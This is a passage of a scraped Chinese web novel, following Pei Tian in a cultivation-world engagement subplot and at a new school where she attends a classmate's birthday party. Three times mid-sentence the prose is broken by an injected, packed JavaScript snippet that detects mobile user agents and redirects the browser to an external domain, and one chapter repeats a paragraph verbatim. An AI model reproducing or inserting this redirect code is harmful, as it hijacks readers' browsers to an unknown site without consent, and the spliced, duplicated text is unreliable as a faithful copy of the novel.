可裴甜也没别的好办法让他答应退婚了,只能拼命让他讨厌。至于她死后还能不能成为反派的白月光,那不是她考虑的范畴,反正她剧情走完就行。 周随捏着野果的手一紧,汁水滴滴哒哒往下滴。 他随手把果子扔溪水里,站起来盯着她:“要这么说,我的强项可不止捡柴。” 裴甜眉毛一皱,正要问那还有什么,就看见他往她这边走过来,脸色很不好看,似乎是要发火。 她不知道他发火是什么样子,会不会具有攻击性,只好他走几步,她就跟着往后退。 他大长腿,一步跨上三步台阶,看见她退到贴在墙壁上了,还在步步紧逼。 裴甜刚要让他不许走了,下一瞬她已经被他压在宫殿墙壁上,两只肌肉鼓胀的手臂撑在她肩膀两边,狂放的漆黑眼神充满危险,忍无可忍道:“你别太过分了,裴泠。” 他语气冷淡低沉到极点。 周随突然贴得太紧,坚硬的胸膛轻轻压着她娇软挺翘的酥.胸,浅淡又燥热的雄性荷尔蒙气息笼罩下来。 因为他身材高大,这样压着她,不得不弯着点腰,微微歪头看她的脸,看起来像要吻她一样。 她的背抵在墙上,垂着眼皮,浓密的睫毛被月色投下一片阴影,遮住了眼睛,看不清她的情绪,只看得见雪白的脸上开始泛红。 周遭气氛炙热暧昧。 一个年纪比她大十岁、身份是她未婚夫、并且她特别讨厌的男人,对她做这种压迫性的亲密举动,裴甜微妙的羞恼大过了愤怒,脸腾一下红透了,不敢看他近在咫尺的喉结,眼神慌张地到处乱躲。 这么热的天气,两个人都穿得单薄,他这样,和……和耍流氓有什么区别。 裴甜憋了一会儿气,把自己的脸憋得越来越红,像要滴血似的。 她忍无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824195|158765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可忍,把两只小手举起来,想推开他,却又尴尬地停在他双臂旁边的空中,不知道该推他身上哪里。 这个气氛推哪里都不对,她完全不想碰到他身上任何一个地方。 殿门口的师兄弟们看见裴甜气得脸都红了,内心感叹果然走到了这一步,纷纷站起来想要劝阻,又被周随杀人的眼神吓退。 “你、你先放开。我哪里过分,你一介散修爱慕我,不应该是低到尘埃里去讨好我吗?我让你捡柴你都要对我动手,更别提以后了,就这样还想娶我,简直做梦。”裴甜特别不习惯这种姿势跟人说话,入戏都不能好好入戏了,现在是她自己在羞恼,所以说话的声音小小的,底气不足。 她顿了顿,又讨厌地看他一眼,急忙移开,掩饰性地强调道:“做梦都不可能。” 周随沉沉的黑眸一直盯着她,不放过她任何一点细微的表情变化,听她这么说,反倒扯着唇角淡淡地笑了声,平静地问:“那你脸红什么?” 裴甜不耐烦道:“男女有别,你这样我自然是会脸红的,换别人这样无礼我也是一样。” 说完,她顿了顿,眉头蹙得更紧,又说了一遍:“你快点放开我!” 周随不是想听到这个答案,但这又是最合理的,她的表情也不是在说谎。 他狂跳的心脏沉下去。 他就知道不该有幻想,应该克制自己,在她来退婚的时候直接答应她的。 他后悔了。 他本来生性嚣张,天王老子都不放在眼里,可是今天他对她先低了头,只是不想她为难,受了她一天的气他也还是要跟着。 “我要是不放呢。”周随固执地歪头看着她眼睛,一动不动。 裴甜吸了口气,伸手去推他的手臂,推不动。 两个人又僵持几分钟。 裴甜不明白,他为什么在这件事上耐心这么好。 她又使劲推了几次,周随还是纹丝不动。裴甜想了想,渐渐红了眼睛,眼神娇气中带着点恼怒的冷意,跟周随的黑眸对视几秒,又垂下去,睫毛抖动,豆大的眼泪一颗接一颗地滚下来。 她带着哭音娇娇弱弱地小声跺脚道:“放开呀!” 周随看见她眼泪真往下掉,愣了一下,立刻不自然地放开她,刚想解释,裴甜已经抬袖遮着脸哭着跑进去了,还重重地把门关上,不给他一点机会。 门关上,娇气的哭音还是一直传出来,呜呜咽咽的,哭得别提有多委屈。 周随被她哭得不知道怎么形容,心好像被人用手捏了一把,整个人抑制不住的烦躁。 过了一刻钟,他从林子里回来,听见她还在那哭,手握成拳又松开,拍了拍关上的殿门,没什么情绪地跟里面说:“火生好了。” 里面哭声停了停,又继续。 门也没人敢开。 周随低声说:“你别哭了,我不是故意的。” 里面过了片刻,果然没哭了,周随正要继续,就听见裴甜抽泣着回了他一句:“我讨厌你,我再也不会跟你说话了。” 周随要出口的话全卡在喉咙里,沉默了一阵,转身看向那一堆鹅卵石上生好的火堆。 跳跃的火苗映得他两只黑眸泛起了猩红,然后瞬间熄灭。 他又听见里面响起裴甜嗲声嗲气告状的声音:“娘!你们定的那个未婚夫他欺负我,他刚才对我动手,说我过分,还说我嫁过去要让我生不如死。” “真的呀,师兄弟们也可以给我作证的!” 众师兄弟:“对,刚才师妹气得脸都红透了。” 裴甜:“……” “我就说散修不能嫁,他对我真的好凶,人又狠,像没开化的野人一样,跟他说不通。” “就因为我想生火,让他去捡柴,他不肯去。我看你们再不给我退婚,我迟早死在他手里。” “我不管,你们给我退婚,要不我不回去了呜呜呜……” 周随坐回溪边石头上,不想再听了,听多了操蛋。 他这未婚妻告家长是真的会。 10. 转学 周一,朝阳从地平线升起,斜斜地铺在六中门外的湖面上,波光粼粼。 裴甜站在教务处门外的走廊上,手里拿着转学证和入学资料,安静地等老师来。 她的肌肤在日光下白得不真实,仿佛即将消融。 谭老师抱着教案走过来的时候,愣了几秒,心里感叹李主任确实有先见之明,这要是去0班,那不就是小白兔进了饿狼窝。 “裴甜是吧?”谭老师笑着说,“我记得你,跟我进来吧。” 裴甜乖巧地鞠了个躬,跟着谭老师进去登记。 谭老师填表的时候忽然问:“你这个底子,怎么不去学艺术啊?” 裴甜看着谭老师呆了呆,很快垂下眼,捏紧了背在后面的手指,说:“以前上过兴趣班,后面学不会,就没有上了。” “哦。”谭老师了然地点了点头,没有再多问。 长得好看但悟性不高是极平常的。 六中大得离谱,裴甜跟在谭老师后面,横穿操场,先去对面楼领了教材和校服,又转了好大一个圈,七拐八拐,才到了教学楼。 高二14班在六楼,爬上去的时候,已经上课了。 谭老师敲了敲门,带她进去,闹哄哄的教室瞬间安静,几十双眼睛齐刷刷地全看过来,好奇地盯着她。 裴甜大约一米六的个子,扎着高马尾,柔软的黑发一直垂到腰际,眼瞳乌黑湿润,衬着天生偏红的唇色和卷曲的碎发,又是瓜子脸,下巴尖细,有种咄咄逼人的鲜明惊艳,越看越觉得又纯又欲。 老师还没开口,底下躁动的男生已经按捺不住,开始兴奋地吹口哨起哄。 谭老师拍了拍手,示意大家安静,说:“这是我们班转来的新同学,裴甜,大家欢迎。” 同学们都很给面子,使劲鼓掌,教室里爆发出一阵热烈的掌声。 后排的几个男生一边鼓掌,一边不怀好意地嚷道:“老师,我这里刚好有空位,让新同学坐这啊!” “新同学坐我这,我特别会照顾新同学!” “你拉倒吧,你那垃圾堆,谁要坐你那!” “那可不是,别给人新同学熏得臭烘烘的。” 几个调皮的男生互相贫嘴,把全班都逗乐了。 谭老师太了解她手底下这群兔崽子,直接无视他们,说:“安静点,别影响其他班上课。裴甜,你——先去坐那,”谭老师指了指倒数第三排左边的空位,又补充道,“过两周月考了再换位置。” 裴甜乖巧地应声,走到座位上,拿纸巾擦了擦桌椅,把书包放进去。 同桌是个女生,看她坐下就冲她笑,悄悄说:“我叫邓方悦,你名字是哪两个字啊?” 裴甜看了看进来上课的语文老师,拿出一只水性笔,在新书上写下自己的名字,悄悄翻给同桌看。 “噢,是这个甜啊?你名字好可爱喔。” 裴甜不习惯上课说话,但是刚转学,同桌这么热情,她不回答显得不礼貌,就看着邓方悦认真地小声说:“你也很可爱。” “噗。”邓方悦好像就等着她说这句话,一听见,立刻把书竖起来,挡住脸,笑得花枝乱颤。 裴甜也不知道她笑什么,茫然地看了她几眼,抿紧唇,转过头看黑板。 14班是普通班,课程跟裴甜之前的学校课程进度差不多,就快了一节课。 她之前在家的时候,已经提前预习过了,现在听起来一点不吃力。 就是很多同学可能因为新奇,上课的时候总是偷偷看她,老师好像也发现了,看她的眼神怪怪的,让她有点窘迫,一整节课耳尖都红得不行。 终于第一节课下课,裴甜看了下课程表,继续写作业,忽然桌子被人踢了一脚。 她捏紧笔,慢慢抬头看过去。 跟她并排、只隔着一条过道的男生侧坐在椅子上,面对她,脚还没收回去,搁在过道中间,吊儿郎当地冲她笑:“诶,新同学,你不是上周五教务处那个吗?我还以为你高一的呢,看着好小。” 裴甜不是很想理他,只冲他点点头,表示记得,又低头做题。 转学之前,她爸妈和于阿姨都跟她再三嘱咐过,说六中里面权贵子弟多,混起来老师都不敢管,让她别去惹。 而且她也不喜欢这种惹是生非的男生,一向都敬而远之的。 “新同学你叫什么来着?”男生偏兴致勃勃地贴上来。 “裴甜。”她头也不抬地说。 男生嬉皮笑脸的:“我叫何一昂,本班大佬,记住了吗。以后谁欺负你,就报我的名字,我罩你。” ……什么年代了,还有这种说法。 裴甜静静地偏头,奇怪地看着何一昂扬着下巴臭屁的样子,不知道该做什么反应。 认真地沉思了好几秒,她还是婉言谢绝:“不用了。” 邓方悦还探头出来说:“哎何一昂,我坐这这么久,怎么没见你说一句罩我?” “我罩你干嘛?又没人欺负你。” 旁边有几个男生看戏似的围过来,锤了他肩膀一拳:“昂子别祸害新同学了。” “我哪祸害了?我就跟人说了两句话。”何一昂不服气。 有个男生看了看裴甜,忽然压低了声音,挤眉弄眼地坏笑:“诶,这不野哥喜欢的类型吗。” “你还知道野哥喜欢什么类型呢?” “还能什么类型?漂亮胸大的呗。” “噗哈哈哈哈哈哈!”那个男生犹如废话一般地回答完,几个人全都心领神会,哄笑成一团。 何一昂笑够了,拿书啪地砸了砸桌子,一本正经地说:“你们别给我捣乱啊,上周五野哥说了,谁他都不感兴趣……” 这群男生聊天,看似压低了声音,但离得这么近,本来嗓门又大,所有的话全都一字不落地钻进裴甜耳朵里。 有些话虽然听不懂,但是她结合语境和他们的反应,也知道不是什么好话。 她抿了抿唇,假装没听见,收起作业,把下节课的书拿出来。 门口响起一阵骚动,裴甜下意识抬头,看见门口站了个长得格外清纯漂亮的女生,穿着一条及膝的百褶裙,眼神在教室里四处搜寻,好像在找人。 同桌扯了扯她的衣角。 她转过头,疑惑地看着邓方悦。 同桌满脸八卦地小声说:“看到门口那个穿裙子的女生了吗?” 裴甜认真地点头:“看到了。” “她叫童清欢,我们学校校花,文艺部部长,好看吧?“ 裴甜又点头:“好看。” 邓方悦听到她这么说,像是刚想起来,回头盯着她仔细看了几秒钟,说:“当然你转过来之后,她应该不是校花了。但是男生最吃她这一款你知道吧?” 裴甜没明白同桌是什么意思,茫然地摇头。 跟她说这个干嘛。 “哎呀,就是她看起来很清纯,长得人畜无害啊,漂亮又不漂亮得过分,好像谁都有机会,又会打扮,男生就喜欢这种的。知道了吧?” “知道了。”裴甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824196|158765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才明白,原来同桌就是单纯的想跟她说一下八卦。 她以为话题到此为止了,翻开书准备预习,邓方悦忽然又凑过来,悄悄说:“她现在是周野女朋友,周野你知道是谁吗?” 裴甜拿笔的手一顿。 这个名字。 怎么像一个魔咒一样,哪里都有他。 裴甜有点紧张地皱了下眉,很快松开,垂下浓密的睫毛,低声说:“不知道。” 邓方悦悄悄跟她说,“0班的大佬,六中就是他家开的,长得帅,又特有钱,以前跟人打架特别狠,现在都没有人敢惹他了。听说家里还有权,听说的啊,不知道是不是真的。” “那么厉害。”裴甜顺着同桌的话往下说,心不在焉地捏着荧光笔画重点。 “厉害啊,不过人也挺混的,换女朋友像换衣服,学校里最漂亮的那几个基本都是他前女友。”邓方悦的语气有点微妙,“其实现在也有挺多女生在追周野的,还有外校的来表白过。” “嗯。” 邓方悦离题万里,最后轻哼了一声,才说:“所以童清欢跟周野估计也好不了多久,我看她分手之后还怎么回寝室嘚瑟。” 裴甜没接话。 童清欢在门外站了一阵,终于看到被男生挡住了的何一昂,快步走过来问:“何一昂,周野呢?没来上课吗?” 何一昂看她一眼,笑着说:“哟,野哥这会儿在北城呢,下午回来,嫂子有事啊?” “胡聪豪他们找我,想让我跟周野说下,他以后不敢了,别找人搞他。” “卧槽,上次没把这孙子弄痛啊,还他妈敢威胁嫂子?”何一昂一拍桌子,说,“嫂子放心,野哥回来我就跟他说,这次非让他们见到你都绕道走。” 童清欢见他误会了,急忙说:“不是威胁,他们就是不敢找周野,一直给我送东西,我不要还硬塞给我。我看他们真挺怕的,你跟周野说一下吧。” 何一昂“哦”了一声,表情淡定下来,说:“行,这事嫂子别管了,他跟野哥之间有事,三言两语说不清楚。” “好吧。”童清欢咬了咬唇,“周野今晚过生日吗?” “过啊。怎么?” “能不能让他别带他那个游戏CP来?她来了,我算什么?” 何一昂和几个男生对视一眼,伸手抓了抓头发,问:”哪个游戏CP啊?” “晚安阿野。”童清欢说出这几个字,气得牙根儿痒痒。 听说开学前,他们去钱柜组局的时候,这个女的说她也想去,周野就同意了,把周野当时的女朋友气得摔门就走,周野也没去追。 第二天开学两人直接分手,不知道谁甩的谁。反正有了这种前车之鉴,童清欢就不想在聚会上看到这么个人。 何一昂耸肩:“这个你得跟野哥说啊,我们可不敢跟着瞎掺和。” 都是要叫嫂子的人,而且论起先来后到,晚安阿野做野哥CP都快一个月了,童清欢上周一才表白成功的。 他们实在也摸不清周野喜欢谁多一点,看着都挺冷淡,可以说就没见他什么时候对女生热情过。 “我打他电话打不通。” “噢,野哥他爷爷比较严肃,他到那可能就关机了,我们也打不通。”何一昂压根儿没打,但是替哥们儿打掩护这种事张口就来,言之凿凿地说,“嫂子别生气,等野哥下午回来,你再跟他当面说,我们一定帮你。” 童清欢还想让何一昂现在给周野打电话,但是上课铃声响了,她只好小跑出去。 11. 聚会 全文修了很多地方和设定,一定记得重新看一下~ 这一节是生物课,没几个认真听讲的,都在开小差。 何一昂拿笔敲了敲她的桌子,趴在桌上,歪着头小声跟她说:“新同学,晚上一起去吃饭吗?很多同学都会去哟,能让你迅速融入我们六中这个和谐的大集体。” 裴甜刚才听到了他们的对话,知道晚上是周野生日聚会,看着他摇了摇头。 “别这么不给班级大佬面子啊,好多人想去我还不叫呢,去吧去吧,啊?去吧?”何一昂看裴甜不理他,专心做笔记,伸手去摇她的桌子。 裴甜被晃得写不了字,皱眉忍了一会儿,桌子停了,她又继续写。 没一分钟,老师转过去在黑板上抄题,桌子又开始晃。 她忍了三四次,桌子还没有要停的意思。 裴甜被缠得有点烦,无语了片刻,耐着性子说:“不行,我今天晚上很忙,下次吧。” “忙什么啊?” 何一昂的同桌看不下去,“哎”了声,把他拉过去:“我说你老招惹新同学干嘛?” “我这不是关心新同学吗,想帮她尽快融入咱六中啊。”何一昂说得还真像那么回事儿。 李轩说:“人不想去,你别勉强了,影响人认真听课。” 何一昂和李轩两人你一句我一句地贫上了,没再来打扰她。 裴甜松了口气,重新捏起笔做笔记。 六中高三以前都没有晚自习,下午五点半放学。裴甜收拾好东西,不紧不慢地坐车回家。 爸爸妈妈还没下班,家里一个人也没有,静悄悄的。 她把校服拆出来洗干净,正要写作业,抽屉里手机嗡嗡地振动,有人打电话。 她的手机号没几个人知道,会晚上给她打电话的,更没有几个。 裴甜想到那条短信,有点迟疑,没有伸手去拉抽屉。 但铃声响个不停,她只好把手机拿出来,看见来电提醒是苗曦,心里才松了口气。 “喂?” “甜甜,你知道大神今天过生日吗?” 裴甜一听苗曦那么激动兴奋的声音,就知道她在打什么主意,直接拒绝:“学校里听说了,但是今天作业特别多,我去不了。” 苗曦惨叫:“啊!怎么才去第一天就那么多作业啊,老师太过分了!” “嗯,所以我要开始做作业了苗曦。” “等等,等等,甜甜你真的不去吗?你不去的话,我一个人到了那孤零零的,谁也不认识,好可怜的。要不,甜甜你陪我去一会儿,就去一小会会儿,回来我住你家,熬夜帮你赶作业行不行?” “不要。”裴甜镇静并坚决地拒绝。 她有点害怕周野那一群人,不想主动去惹麻烦。而且白天她都已经拒绝过何一昂了,晚上又去,让人家怎么想。 “甜甜~”苗曦冲她撒娇,“我真的好想去,我们还像上次那样,就去玩一会儿,我不过去打招呼,好不好嘛。” “不好。” “甜甜你最好了,我……” 苗曦软磨硬泡了快十分钟,裴甜没办法,只好答应陪她去一会儿,两人约在市中心街广场见面。 周野的生日聚会地址是一个高消费的私人会馆,六点开始。 裴甜和苗曦买好礼物到地方的时候,已经快七点,里面的人早嗨上了。 包间的门一打开,扑面而来一股浓重的酒气,混着刺鼻的汽水和食物的香甜。 里面音乐放得很大声,还有小型的舞池,色彩绚丽的灯光转来转去,亮度不高,有点昏暗。地上撒满了彩带,十层的巨大蛋糕被玩得一片狼藉,气氛热烈高潮,完全是紫醉金迷的场面。 一屋子人影憧憧地嬉笑打闹,不太能认得清谁是谁,也没人去注意开门进来的她们。 裴甜拎着袋子,四处看了看,最里面靠墙处摆了一大堆花束,还有各种礼品盒子袋子,堆得小山那么高,应该是放礼物的地方。 她过去把礼物放好,默默找了个角落的沙发坐下。 苗曦端了两杯果汁过来,给她一杯。 沙发前面的小桌上放了一碟小蛋糕和点心零食,左边还有几排料理自助。 裴甜没有食欲,有也不想在这里吃,只用两只小手抱着果汁喝。 苗曦在包间里找了半天,总算找到了周野的身影,激动地指了指前面被沙发围起来的大桌:“甜甜,大神真的在诶!四舍五入,我给大神过生日了呜呜呜!好想过去送生日祝福啊……” 裴甜转头,乌黑的瞳仁静静地凝视苗曦。 她立刻摆手:“那是不可能的,今晚我只守着你,哪儿也不去。” 裴甜被她逗笑了,安静地盯了一会儿桌面,实在百无聊赖,也抬起头看过去。 周野穿着不知道什么潮牌的黑T恤,反正图案一如既往的夸张,两条大长腿交叠着坐在沙发里,歪着头抽烟,雾气缭绕的,遮住了他的神情。 但这个人似乎有种莫名的吸引力,在人群中像焦点一样,张扬地闪耀着,让人一眼只能看到他。 裴甜看了两秒,静静地把眼睛移开。 那一桌除了她认识的几个熟人,还有很多年龄大一些的社会青年,跟周野他们关系很好的样子。 周野左边坐了三四个女生,靠他最近的是白天见过的童清欢,看着不太高兴,又不便发作,一直强颜欢笑。 不过包间里太吵了,音乐又放得大声,根本听不清他们在说什么,只看见他们开始发牌,摇骰子。 童清欢跟着在玩,没多久,忽然愤怒地站起来,转头跟周野说了什么。 周野坐姿又大爷又懒散,眉眼藏着股嚣张劲儿,无所谓地看着站起来的女朋友,一点反应也没有。 童清欢抓起玻璃杯摔在旁边的地板上,一声脆响,四分五裂。 沸腾的包间里霎时鸦雀无声,音乐声也停了。 所有人大气都不敢出,转头望着他们,不知道是怎么回事。 周野把嘴里的烟拿下来,吐了口烟圈,脸上没什么情绪,明显压着一股火。 童清欢也不说话,僵在那一分钟,拿起包包,开门跑了出去。 何一昂张了张嘴,眼神移向周野,尴尬地问:“野哥不追啊?” 周野沉默地抽了会儿烟,把烟摁灭在烟灰缸里,淡淡地“嗯”了一声。 然后他手机响了。 他慢腾腾地从裤兜里摸出手机,看了一眼,又不在意地揣回去。 手机还一直在响。 谁都猜得出来是童清欢打的电话,周野就是不接。 何一昂傅阳他们也不敢劝,正尴尬的时候,周野的手机停了,何一昂的手机响起来。他看了眼来电提醒,嘶了一声,接起来,眼神却一直盯着周野的反应。 周野没看他,低着眼睛,又拿了一根烟咬在嘴里,旁边的女生拧开打火机,帮他点烟。 “……野哥刚去洗手间了,没拿手机。嫂子别生气啊,现在哪儿呢?” “噢噢噢,好,好,等野哥出来我跟他说。” 何一昂迫不及待地挂了电话,吞吞吐吐地跟周野说:“野哥,嫂子在楼下等你,说要跟你把话说清楚。” 周野歪头,坐了两分钟,把腿放下来,起身往外走。 “牛逼,野哥还真追啊。”傅阳啧啧地摇头感叹,竖了个大拇指,“校花就是校花,以前谁有这待遇。” 之前那么多女朋友,谁敢当场撂脸子,周野理都不会再理一下。 现在童清欢不但在周野的生日会上摔杯子,周野还要下去哄她。 旁边坐着的几个女生,有两个表情悻悻的,但也还好,就是尴尬撇嘴,只有一个特别可爱的女生,看见周野开门去找童清欢,瞬间变了脸色,紧紧咬着唇,欲言又止地跟着站了起来。 现在又听见傅阳火上浇油的这句话,更加难堪,双手握拳地在那等了两分钟,还没见周野回来,也捂脸哭着推门出去了。 “嫂子——诶这……” 那一桌的人你看我我看你。 没几秒,他们竟然像松了口气似的,紧张的神色荡然无存,全都极其松弛地躺回沙发上,拿起啤酒瓶高兴地碰在一起。 何一昂司空见惯地说:“行了行了,野哥的车翻完了,人也走了,咱们燥起来啊!” “赶紧放个嗨到我想蹦迪的音乐。” 才说完,周野又进来,随手甩上门,神色淡淡的坐回去。 “速度啊野哥,这么快?”何一昂坏笑着问,“嫂子哄好了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824197|158765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 周野扫他一眼,把头偏过去,翘了个二郎腿,从胸膛里发出一声嗤笑:“老子哄个毛。” “不是吧,野哥你追出去跟人分手啊?这也太狠了点。” “都怪许沐杰这个憨批,出些什么损招,嫂子输了就算了,还非要让人翻跟头,人穿裙子怎么翻。” 许沐杰:“……不是你们叫玩点大的吗?她不想翻跟头,还可以喝酒啊。” “嘿你这人,直男。” “玩不起还跟老子摆脸色,不分留着上供呢。”周野从小被女生惯到大,想要什么都可以轻易得到,养成这种玩世不恭的二世祖性格,一切由着自己的性子来。 虽然他在钱财上异常大方,几乎是女朋友要什么就买什么,钱包都能直接扔过去,随便拿,但感情上从不肯有半点付出半点体谅,像个小孩似的,自私冷漠得惊人,连对他爸他妈都是一样。 何一昂蹭到周野旁边去,安慰他:“野哥别生气,拜拜就拜拜,下一个更乖,咱们回头再找个漂亮听话的。” “行。”周野跟个没事人一样,看何一昂已经喝大了,随便应了一句,推开他,懒得搭理,“莫挨老子,边儿吐去。” “不是,我没醉,哥,野哥我跟你说,我们班来了个新同学,比校花还好看,就上周五我跟你提的那个高一学妹,原来不是学妹,是新同学,就坐我旁边……”何一昂抱住周野的胳膊不撒手,絮絮叨叨地说,“野哥你经验多,给我支个招,怎么追得到她……” 傅阳出了张牌,不屑地笑:“野哥有个屁的经验,都是别人追他,你看他什么时候追过人?” “也是哈。” “那可不。”傅阳非常内行地说:“中午是听说你们班来了个特好看的转学生,你怎么不把人带过来玩,带出来不就好追了吗?” “我叫了,人不来啊。” “你说是野哥过生日啊,这能不来吗?” “她知道,她不来。”何一昂说到这,呕了一声。 “操,你他妈要吐老子身上,老子让你吃下去。”周野恶心坏了,立刻把手臂抽出来,换到对面沙发上去坐。 傅阳往旁边挪了挪,给周野让座位。 这个位置刚好正对着角落。 周野眼神没有往角落看,看也看不清。 一桌人都很意外,啧啧地笑:“野哥的面子都不给?转学生有点狂啊。” 周野无所谓地嗤了声,对这个话题没什么兴趣。 何一昂要去洗手间吐,临走还不忘帮裴甜说话:“你们别、别,人刚转过来,还不知道野哥呢。” 躁动的音乐声突然大了起来,好些人进了舞池,跟着地板起伏晃动,有几对男女生抱在一起,男生的手在女生身上乱动。 裴甜的手机突然嗡嗡地响,她拿出来看了一眼,跟苗曦说:“我妈妈给我打电话,我出去接一下。” 苗曦点头。 她拉开门出去,又轻轻关上,过道没什么人,隔音效果又好,安静得不行。 裴甜接起电话:“妈妈。” “你在哪儿呢?这么晚还不回来,饭都要冷了。” “我在市中心街,有同学过生日,我马上就回来了。” “六中的同学吗?” “嗯。” “男生还是女生啊?妈妈跟你说,你去了新学校可不能跟着他们瞎混啊,他们有钱有势的不靠学习吃饭,咱们不一样,爸爸妈妈的希望都在你身上了,天天这么起早贪黑的,新衣服都舍不得买一件,你要争气知道吗。” “我知道的,妈妈。”裴甜抿了抿唇,垂下眼睛,低声说,“是女同学过生日,我们班学习委员。” “哦,行,那你早点回来,别玩太晚了!” “好。” 裴甜挂了电话,在寂静的走廊站了几秒钟,转身进去,到角落里拉了拉苗曦,凑到她耳边说:“苗曦,我妈妈叫我回去吃晚饭了,我们走吧。” 苗曦顿了一下,点点头,跟着裴甜悄悄往门外走。 短时间内出去进来又出去,不停地开门关门,引起了周野那桌的注意。 裴甜隐约听见了一句“哪个班的啊这么吊,招呼都不打一个就走,野哥还在这呢”,她急忙把门关紧,拉着苗曦快步下楼。 12. 第 12 章 这章节待改,今晚替换。腿上涌起奇异的痛感,裴甜皱着眉睁眼。 眼前是一片茂密的丛林,古木参天,稀碎漂浮的阳光斜斜地投下来,地上铺满腐叶。 脑子里蹦出前情提要:前日裴泠与柳星云等神府弟子结伴出发,前往商丘仙山历练,而周随出了神府就没有跟他们一起,不知去向。 刚到商丘的他们,无意闯进一处禁地,惊醒了不应该存在于商丘最外层的隐藏大妖,至少结丹境六阶实力,他们完全不是对手。 裴泠使用神府秘术,成功禁锢大妖一刻钟,同时右腿也被妖力划伤。 妖毒在小腿筋脉来回肆虐,她不能运转灵力,不能正常行走,只好坐在石头上。眼前是一片茂密的丛林,古木参天,稀碎漂浮的阳光斜斜地投下来,地上铺满腐叶。 脑子里蹦出前情提要:前日裴泠与柳星云等神府弟子结伴出发,前往商丘仙山历练,而周随出了神府就没有跟他们一起,不知去向。 刚到商丘的他们,无意闯进一处禁地,惊醒了不应该存在于商丘最外层的隐藏大妖,至少结丹境六阶实力,他们完全不是对手。 裴泠使用神府秘术,成功禁锢大妖一刻钟,同时右腿也被妖力划伤。 妖毒在小腿筋脉来回肆虐,她不能运转灵力,不能正常行走,只好坐在石头上。 神府众弟子趁此机会,进洞府将法宝财物带走,不知是谁耽搁了,现在已经一刻钟。 裴甜看完前情提要,几名弟子正好出来。 不等他们说话,被禁锢的大妖突然挣脱枷锁,暴戾地尖啸了一声,张开妖力凝聚的黑色羽翼,遮天蔽日,冲他们俯冲下来。 神府弟子脸色大变,全部出剑,准备拼死迎战。 只有裴甜稳如泰山,镇定得不像话,甚至连看大妖一眼的兴趣都没有。 她知道剧情。 神府执法堂派了两名超凡境中阶长老保护她,周围还有四五名高手在看戏,准备英雄救美。 等下执法堂长老出手对付大妖的时候,那几个结丹境、超凡境的高手会出来为她打一架。 果然,大妖前一刻耀武扬威,下一瞬漆黑的天地之间,一道亘古长存的雪白剑气,无比缓慢又无比快速地斩下来。 大地震动,山石寸寸龟裂,周围的虚空,都被这种威严而原始霸烈的力量搅得扭曲。 大妖被这道剑气从头到脚,劈成两半,反抗都没反抗一下。 “天啊!这是什么级别的力量,结丹境中阶的大妖,竟然连接一道剑气的能力都没有!”神府弟子惊骇地望着半空,心神震动。 “太可怕了,恐怕是哪个门派的宗主或世家家主在此。” 柳星云脸色苍白,比刚才对战大妖还紧张。 裴甜忽然皱眉。 似乎有哪里不对,出手相救的执法堂长老,是用剑的吗? 那人出手救了他们,又迟迟没有出现,神府弟子面面相觑。 柳星云咬了咬牙,高声道:“不知哪位前辈出手相救,我们是——” 旁边忽然有人“嗤”了一声,紧跟着,本已裂了一条手臂那么粗的缝隙的石壁,陡然崩碎四散,扬起铺天盖地的石灰。 裴甜抬高衣袖,把她自己的头和脸遮住。 飞沙走石被人刻意控制了方向,没有碰到她。 伴随着深处阵阵狂怒的凶兽嘶吼,一股浓重的腥臭气息从石壁里扑出来。 过了片刻,尘土散尽,裴甜面无表情转头,看见了周随的身影。 周随? 裴甜呆了呆,一时没反应过来。 怎么会是他呀? 她的执法堂长老呢?那几个修罗场高手呢? 之前吃饭的情节无关紧要,改变了就算了,可这回是非常重要的剧情,为什么也会改变? 按照原文,那几个打架的高手里,有宁殊的大师兄,打完回去跟宁殊谈起了此事,宁殊担心她,会在十天后悄悄赶来。 然后男主、周随、宁殊三个大佬齐聚,她才能在误入仙山深处的神魔古战场时,牺牲自己,成为三个大佬的白月光,为替身女主得到宠爱铺路。 现在高手一个都没了,不知道宁殊还来不来。 裴甜懵懵地看着中间的空地,期望还能再落下几个人。 可惜…… 周随破壁而出,手里的剑还在往下滴血。 神府弟子看见是认识的人,刚松了口气,又想起周随是师妹的未婚夫,而师妹一路上跟柳师兄说说笑笑,很是亲密。 虽然他们的确觉得周随处处都配不上裴泠师妹,但架不住这人修为高得离谱。 刚刚拿那道剑气就是出自他手吧。 他们顿时又把那口松了的气提起来,胆战心惊地来回看三人,一句话都不敢说。 柳星云看见周随衣袍上脏兮兮的,又一身血腥味,先皱了皱眉,很快松开,微笑道:“周兄也在此处?方才多谢周兄出手相救了!” 周随扫了他一眼,没理,黑眸盯着裴甜,冷淡地笑:“你就跟这种修为的一起历练?” 